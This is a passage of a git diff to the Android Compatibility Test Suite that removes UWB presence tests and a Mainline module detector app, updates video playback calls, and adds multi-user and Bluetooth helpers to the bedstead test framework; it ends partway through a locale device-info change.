diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS
deleted file mode 100644
index e874499..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bug component: 1106357
-asalo@google.com
-jbabs@google.com
-christinatao@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java
deleted file mode 100644
index 6776693..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.SystemProperties;
-
-import com.android.cts.verifier.ManifestTestListAdapter;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class PresenceTestActivity extends PassFailButtons.TestListActivity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.pass_fail_list);
- setPassFailButtonClickListeners();
-
- List<String> disabledTest = new ArrayList<String>();
- boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
- if (isTv) {
- setInfoResources(R.string.presence_test, R.string.presence_test_tv_info, -1);
- int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
- if (firstSdk < Build.VERSION_CODES.TIRAMISU) {
- disabledTest.add("com.android.cts.verifier.presence.UwbPrecisionActivity");
- disabledTest.add("com.android.cts.verifier.presence.UwbShortRangeActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleRssiPrecisionActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleRxTxCalibrationActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleRxOffsetActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleTxOffsetActivity");
- disabledTest.add("com.android.cts.verifier.presence.NanPrecisionTestActivity");
- }
- } else {
- setInfoResources(R.string.presence_test, R.string.presence_test_info, -1);
- }
-
- setTestListAdapter(new ManifestTestListAdapter(this, PresenceTestActivity.class.getName(),
- disabledTest.toArray(new String[disabledTest.size()])));
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
deleted file mode 100644
index 5d1ff86..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Activity for testing that UWB distance and angle of arrival measurements are within the right
- * range.
- */
-public class UwbPrecisionActivity extends PassFailButtons.Activity {
- private static final String TAG = UwbPrecisionActivity.class.getName();
- // Report log schema
- private static final String KEY_DISTANCE_RANGE_CM = "distance_range_cm";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
- // Thresholds
- private static final int MAX_DISTANCE_RANGE_CM = 30;
-
- private EditText mDistanceRangeInput;
- private EditText mReferenceDeviceInput;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.uwb_precision);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- mDistanceRangeInput = (EditText) findViewById(R.id.distance_range_cm);
- mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_UWB);
-
- mDistanceRangeInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mReferenceDeviceInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(
- checkDistanceRangeInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkDistanceRangeInput() {
- String distanceRangeInput = mDistanceRangeInput.getText().toString();
- if (!distanceRangeInput.isEmpty()) {
- double distanceRange = Double.parseDouble(distanceRangeInput);
- // Distance range must be inputted and within acceptable range before test can be
- // passed.
- return distanceRange <= MAX_DISTANCE_RANGE_CM;
- }
- return false;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device must be inputted before test can be passed.
- return !mReferenceDeviceInput.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String distanceRange = mDistanceRangeInput.getText().toString();
- String referenceDevice = mReferenceDeviceInput.getText().toString();
- if (!distanceRange.isEmpty()) {
- Log.i(TAG, "UWB Distance Range: " + distanceRange);
- getReportLog().addValue(KEY_DISTANCE_RANGE_CM, Double.parseDouble(distanceRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "UWB Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
deleted file mode 100644
index 7f14800..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Activity for testing that UWB distance measurements are within the acceptable median.
- */
-public class UwbShortRangeActivity extends PassFailButtons.Activity {
- private static final String TAG = UwbShortRangeActivity.class.getName();
- // Report log schema
- private static final String KEY_DISTANCE_MEDIAN_CM = "distance_median_cm";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
- // Median Thresholds
- private static final double MIN_MEDIAN = 0.75;
- private static final double MAX_MEDIAN = 1.25;
- private EditText mMedianInput;
- private EditText mReferenceDeviceInput;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.uwb_short_range);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- mMedianInput = (EditText) findViewById(R.id.distance_median_meters);
- mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_UWB);
-
- mMedianInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mReferenceDeviceInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(checkMedianInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkMedianInput() {
- String medianInput = mMedianInput.getText().toString();
- if (!medianInput.isEmpty()) {
- double median = Double.parseDouble(medianInput);
- return median >= MIN_MEDIAN && median <= MAX_MEDIAN;
- }
- return false;
- }
-
- private boolean checkReferenceDeviceInput() {
- return !mReferenceDeviceInput.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String medianInput = mMedianInput.getText().toString();
- String referenceDeviceInput = mReferenceDeviceInput.getText().toString();
- if (!medianInput.isEmpty()) {
- Log.i(TAG, "UWB Distance Median: " + medianInput);
- getReportLog().addValue(KEY_DISTANCE_MEDIAN_CM, Double.parseDouble(medianInput),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- if (!referenceDeviceInput.isEmpty()) {
- Log.i(TAG, "UWB Reference Device: " + referenceDeviceInput);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDeviceInput, ResultType.NEUTRAL,
- ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
index 055f26f..c0df10c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -66,9 +66,9 @@
private void playVideo() {
try {
- mPlayer.start();
mPlayer.prepare();
- mPlayer.startThread();
+ mPlayer.startCodec();
+ mPlayer.play();
mHandler.postDelayed(this::pauseStep, 5000);
} catch(Exception e) {
Log.d(TAG, "Could not play video", e);
@@ -95,7 +95,7 @@
private void resumeStep() {
try {
- mPlayer.start();
+ mPlayer.resume();
mHandler.postDelayed(this::enablePassButton, 3000);
} catch(Exception e) {
Log.d(TAG, "Could not resume video", e);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
new file mode 100644
index 0000000..4744ab8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
@@ -0,0 +1,3 @@
+# Buganizer component id: 687598
+blindahl@google.com
+narcisaam@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
index 0163c62..c446143 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
@@ -209,10 +209,10 @@
private void playVideo() {
try {
- mPlayer.start();
mPlayer.prepare();
+ mPlayer.startCodec();
mPlayer.setLoopEnabled(true);
- mPlayer.startThread();
+ mPlayer.play();
} catch (Exception e) {
Log.d(TAG, "Could not play the video.", e);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
index 641ab20..94ef536 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
@@ -221,10 +221,10 @@
private void playVideo() {
try {
- mPlayer.start();
mPlayer.prepare();
+ mPlayer.startCodec();
mPlayer.setLoopEnabled(true);
- mPlayer.startThread();
+ mPlayer.play();
} catch (Exception e) {
Log.d(TAG, "Could not play video", e);
}
diff --git a/apps/MainlineModuleDetector/Android.bp b/apps/MainlineModuleDetector/Android.bp
deleted file mode 100644
index 2cba39f..0000000
--- a/apps/MainlineModuleDetector/Android.bp
+++ /dev/null
@@ -1,38 +0,0 @@
-//
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
- // See: http://go/android-license-faq
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test {
- name: "MainlineModuleDetector",
- defaults: ["cts_defaults"],
- static_libs: ["compatibility-device-util-axt"],
- // Disable dexpreopt and <uses-library> check for test.
- enforce_uses_libs: false,
- dex_preopt: {
- enabled: false,
- },
- srcs: ["src/**/*.java"],
- sdk_version: "current",
- test_suites: [
- "cts",
- "general-tests",
- "sts",
- ],
-}
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
deleted file mode 100644
index dce1cae..0000000
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.mainlinemoduledetector"
- android:versionCode="1"
- android:versionName="1.0">
-
- <application>
- <activity android:name=".MainlineModuleDetector"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
deleted file mode 100644
index 8f076a8..0000000
--- a/apps/MainlineModuleDetector/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 195645
-manjaepark@google.com
-mspector@google.com
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
deleted file mode 100644
index 01c02c7..0000000
--- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.mainlinemoduledetector;
-
-import android.app.Activity;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.compatibility.common.util.mainline.MainlineModule;
-import com.android.compatibility.common.util.mainline.ModuleDetector;
-
-import java.util.HashSet;
-import java.util.Set;
-
-public class MainlineModuleDetector extends Activity {
-
- private static final String LOG_TAG = "MainlineModuleDetector";
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- try {
- PackageManager pm = getApplicationContext().getPackageManager();
- Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
- Set<String> moduleNames = new HashSet<>();
- for (MainlineModule module : modules) {
- moduleNames.add(module.packageName);
- }
- Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
- } catch (Exception e) {
- Log.e(LOG_TAG, "Failed to retrieve modules.", e);
- }
- this.finish();
- }
-}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java
new file mode 100644
index 0000000..03d21f4
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation to indicate that a test requires multi-user support.
+ *
+ * <p>This can be enforced by using {@code DeviceState}.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+//@Experimental
+public @interface RequireMultiUserSupport {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index b28b815..7bd649d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -67,6 +67,7 @@
import com.android.bedstead.harrier.annotations.RequireFeature;
import com.android.bedstead.harrier.annotations.RequireHeadlessSystemUserMode;
import com.android.bedstead.harrier.annotations.RequireLowRamDevice;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
import com.android.bedstead.harrier.annotations.RequireNotHeadlessSystemUserMode;
import com.android.bedstead.harrier.annotations.RequireNotLowRamDevice;
import com.android.bedstead.harrier.annotations.RequirePackageInstalled;
@@ -786,6 +787,12 @@
ensureGlobalSettingSet(
ensureGlobalSettingSetAnnotation.key(),
ensureGlobalSettingSetAnnotation.value());
+ continue;
+ }
+
+ if (annotation instanceof RequireMultiUserSupport) {
+ requireMultiUserSupport();
+ continue;
}
}
@@ -2528,4 +2535,9 @@
}
TestApis.settings().global().putString(key, value);
}
+
+ private void requireMultiUserSupport() {
+ assumeTrue("This test is only supported on multi user devices",
+ TestApis.users().supportsMultipleUsers());
+ }
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
index 30a642e..4b9e87e 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
@@ -17,6 +17,7 @@
package com.android.bedstead.nene.bluetooth;
import static android.os.Build.VERSION_CODES.R;
+import static android.os.Process.BLUETOOTH_UID;
import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH;
import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_CONNECT;
@@ -25,21 +26,24 @@
import static com.android.bedstead.nene.permissions.CommonPermissions.NETWORK_SETTINGS;
import static com.android.bedstead.nene.utils.Versions.T;
-import static com.google.common.truth.Truth.assertThat;
-
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothManager;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.permissions.PermissionContext;
import com.android.bedstead.nene.utils.Poll;
+import com.android.bedstead.nene.utils.Versions;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
/** Test APIs related to bluetooth. */
public final class Bluetooth {
-
public static final Bluetooth sInstance = new Bluetooth();
private static final Context sContext = TestApis.context().instrumentedContext();
@@ -47,90 +51,130 @@
sContext.getSystemService(BluetoothManager.class);
private static final BluetoothAdapter sBluetoothAdapter = sBluetoothManager.getAdapter();
- private Bluetooth() {
- }
+ private Bluetooth() {}
/** Enable or disable bluetooth on the device. */
public void setEnabled(boolean enabled) {
- if (isEnabled() == enabled) {
- return;
- }
+ if (isEnabled() == enabled) {
+ return;
+ }
- if (enabled) {
- enable();
- } else {
- disable();
- }
+ if (enabled) {
+ enable();
+ } else {
+ disable();
+ }
}
private void enable() {
- try (PermissionContext p =
- TestApis.permissions()
- .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
- BLUETOOTH_PRIVILEGED)
- .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
- BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
- sContext,
- BluetoothAdapter.ACTION_STATE_CHANGED,
- this::isStateEnabled).register();
+ try (PermissionContext p = TestApis.permissions()
+ .withPermission(BLUETOOTH_CONNECT,
+ INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED)
+ .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
+ BlockingBroadcastReceiver r =
+ BlockingBroadcastReceiver
+ .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED,
+ this::isStateEnabled)
+ .register();
- try {
- boolean returnValue = sBluetoothAdapter.enable();
+ try {
+ boolean returnValue = sBluetoothAdapter.enable();
- r.awaitForBroadcast();
- Poll.forValue("Bluetooth Enabled", this::isEnabled)
- .toBeEqualTo(true)
- .errorOnFail("Waited for bluetooth to be enabled."
- + " .enable() returned " + returnValue)
- .await();
- } finally {
- r.unregisterQuietly();
- }
+ r.awaitForBroadcast();
+ Poll.forValue("Bluetooth Enabled", this::isEnabled)
+ .toBeEqualTo(true)
+ .errorOnFail("Waited for bluetooth to be enabled."
+ + " .enable() returned " + returnValue)
+ .await();
+ } finally {
+ r.unregisterQuietly();
}
-
+ }
}
private void disable() {
- try (PermissionContext p =
- TestApis.permissions()
- .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
- BLUETOOTH_PRIVILEGED)
- .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
- BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
- sContext,
- BluetoothAdapter.ACTION_STATE_CHANGED,
- this::isStateDisabled).register();
+ try (PermissionContext p = TestApis.permissions()
+ .withPermission(BLUETOOTH_CONNECT,
+ INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED)
+ .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
+ BlockingBroadcastReceiver r =
+ BlockingBroadcastReceiver
+ .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED,
+ this::isStateDisabled)
+ .register();
- try {
- boolean returnValue = sBluetoothAdapter.disable();
+ try {
+ boolean returnValue = sBluetoothAdapter.disable();
- r.awaitForBroadcast();
- Poll.forValue("Bluetooth Enabled", this::isEnabled)
- .toBeEqualTo(false)
- .errorOnFail("Waited for bluetooth to be disabled."
- + " .disable() returned " + returnValue)
- .await();
- } finally {
- r.unregisterQuietly();
- }
+ r.awaitForBroadcast();
+ Poll.forValue("Bluetooth Enabled", this::isEnabled)
+ .toBeEqualTo(false)
+ .errorOnFail("Waited for bluetooth to be disabled."
+ + " .disable() returned " + returnValue)
+ .await();
+ } finally {
+ r.unregisterQuietly();
}
+ }
}
/** {@code true} if bluetooth is enabled. */
public boolean isEnabled() {
- try (PermissionContext p =
- TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) {
- return sBluetoothAdapter.isEnabled();
- }
+ try (PermissionContext p =
+ TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) {
+ return sBluetoothAdapter.isEnabled();
+ }
}
private boolean isStateEnabled(Intent intent) {
- return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1)
- == BluetoothAdapter.STATE_ON;
+ return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_ON;
}
private boolean isStateDisabled(Intent intent) {
- return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1)
- == BluetoothAdapter.STATE_OFF;
+ return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_OFF;
+ }
+
+ /** The bluetooth UID is associated with multiple packages. Get the main one. */
+ @Experimental
+ public String findPackageName() {
+ if (!Versions.meetsMinimumSdkVersionRequirement(T)) {
+ return "com.android.bluetooth";
+ }
+ // this activity will always be in the package where the rest of Bluetooth lives
+ var sentinelActivity = "com.android.bluetooth.opp.BluetoothOppLauncherActivity";
+ var packageManager = sContext.createContextAsUser(UserHandle.SYSTEM, 0).getPackageManager();
+ var allPackages = packageManager.getPackagesForUid(BLUETOOTH_UID);
+ String matchedPackage = null;
+ for (String candidatePackage : allPackages) {
+ PackageInfo packageInfo;
+ try {
+ packageInfo =
+ packageManager.getPackageInfo(
+ candidatePackage,
+ PackageManager.GET_ACTIVITIES
+ | PackageManager.MATCH_ANY_USER
+ | PackageManager.MATCH_UNINSTALLED_PACKAGES
+ | PackageManager.MATCH_DISABLED_COMPONENTS);
+ } catch (PackageManager.NameNotFoundException e) {
+ // rethrow
+ throw new NeneException(e);
+ }
+ if (packageInfo.activities == null) {
+ continue;
+ }
+ for (var activity : packageInfo.activities) {
+ if (sentinelActivity.equals(activity.name)) {
+ if (matchedPackage == null) {
+ matchedPackage = candidatePackage;
+ } else {
+ throw new NeneException("multiple main bluetooth packages found");
+ }
+ }
+ }
+ }
+ if (matchedPackage != null) {
+ return matchedPackage;
+ }
+ throw new NeneException("Could not find main bluetooth package");
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 200feb7..0ce2d7f 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -40,6 +40,7 @@
import androidx.annotation.Nullable;
import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
import com.android.bedstead.nene.exceptions.AdbException;
import com.android.bedstead.nene.exceptions.AdbParseException;
import com.android.bedstead.nene.exceptions.NeneException;
@@ -485,6 +486,11 @@
return mCachedUsers.get(id);
}
+ @Experimental
+ public boolean supportsMultipleUsers() {
+ return UserManager.supportsMultipleUsers();
+ }
+
static Stream<UserInfo> users() {
if (Permissions.sIgnorePermissions.get()) {
return sUserManager.getUsers(
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
index bf2b551..d76c7b9 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
@@ -20,17 +20,23 @@
import android.util.Log;
import androidx.annotation.Nullable;
import com.android.compatibility.common.util.DeviceInfoStore;
+import com.google.common.base.Strings;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.MappedByteBuffer;
import java.nio.channels.FileChannel;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import java.util.stream.Collectors;
import java.util.stream.Stream;
@@ -40,6 +46,9 @@
public final class LocaleDeviceInfo extends DeviceInfo {
private static final String TAG = "LocaleDeviceInfo";
+ private static final Pattern HYPHEN_BINARY_PATTERN = Pattern.compile("hyph-(.*?).hyb");
+ private static final String HYPHEN_BINARY_LOCATION = "/system/usr/hyphen-data/";
+
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
List<String> locales = Arrays.asList(
@@ -59,6 +68,26 @@
}
store.addListResult("icu_locale", icuLocales);
+ // Collect hyphenation supported locale
+ List<String> hyphenLocalesList = new ArrayList<>();
+ // Retrieve locale from the file name of binary
